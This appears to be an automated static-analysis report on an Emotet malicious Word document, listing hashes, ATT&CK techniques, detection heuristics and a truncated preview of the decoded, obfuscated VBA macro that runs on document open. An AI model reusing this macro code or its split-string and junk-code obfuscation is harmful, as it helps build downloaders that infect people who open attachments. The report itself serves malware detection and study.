Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 388e42bdd2970ff3…

MALICIOUS

Office (OLE)

174.9 KB Created: 2019-12-12 17:36:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 1130dd944f4758680cb4bb4ff1dcab88 SHA-1: 350f79f2719315f4e2fdf4e0e528c225ad601610 SHA-256: 388e42bdd2970ff3438d49992a248ad4e1bebe26105f6227d09d6823a76770e6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro that executes upon opening. Heuristics indicate obfuscation techniques and the use of CreateObject, consistent with downloader malware. ClamAV detection explicitly identifies it as Emotet, a known downloader family. The macro's obfuscated nature and use of 'winmgmts' suggest it attempts to interact with the system to download and execute a further stage.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7449735-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7449735-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8856 bytes
SHA-256: 1577c1d568822536a444e28f81a98059b1fb573c4fe2f00c29bf30a0d9a191ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Gybrspdiha"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Emgfizqg, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Ztybxqkfgnpa
         Case Jwgvmytjrpzyf
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Vkufbginmahzu)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Whondoucgab
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Icyktgkc)
End Select
   Select Case Pzodzstuw
         Case Vidqpsgsb
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Fbxvsissnuemn)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Furzuujg
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Aklvwdvv)
End Select
   Select Case Kbykkbby
         Case Ctmtggzduw
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Slrkfruh)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Ztzlzckwlppif
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Vjflpbsgkjns)
End Select
Nadhrckphuqf
End Sub

Attribute VB_Name = "Xhzqqhabtevg"
Attribute VB_Base = "0{6BB59B57-C3D3-48E2-8980-70518F5AE909}{2D3737D1-1380-4259-AEDE-0E6F11680693}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ldpntmcpzds"
Function Emodebakftfu()
   Select Case Ohtpgmuaopcfo
         Case Zvnovnwwwf
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Exbrjczugiz)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Mlrpqnyfmkbt
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Iskwjdypdm)
End Select
Njehuidmcz = Gybrspdiha.Emgfizqg
   Select Case Uknsvyhf
         Case Sqmalqwpbsf
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Omhjdenysr)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Ntsigpvodgz
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Kuncspwhz)
End Select
Ifkryojnpxxa = Njehuidmcz + Xhzqqhabtevg.Ajfouqcagetv + Xhzqqhabtevg.Ouideqycughy + Xhzqqhabtevg.Fvqitqists
   Select Case Gnqzdpayx
         Case Rfzcungdzsct
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Tuvqsogje)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Uxxisemz
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Ysozkwjuoeuxr)
End Select
Kwwqsjsxshesi = Ifkryojnpxxa + Xhzqqhabtevg.Uyojjsnugjtap + Xhzqqhabtevg.Kbjeqqojuth.ControlTipText
   Select Case Ofilsvldcvlr
         Case Kfppjpnhzlti
            ISxdk951 = AWN
            FKNpk15B = 23
            WPOtp5 = 2
         Case 926
            dLUG = Hex(UJetwZx + CDate(ywnRgL - Round(Ieikvlflaztbn)))
            bqmax1u = 6969
            QnqF67ZsD = CLng(kXja6)
         Case Vanbjdgtfqk
            OZb = 6532
            pPcg1diH = biJruQ0
            AOni9uk0 = Round(Gxrkeouyn)
End Select
Emodebakftfu = Nsodzxxbeq + Kwwqsjsxshesi + Nsodzxxbeq
   Select 
... (truncated)

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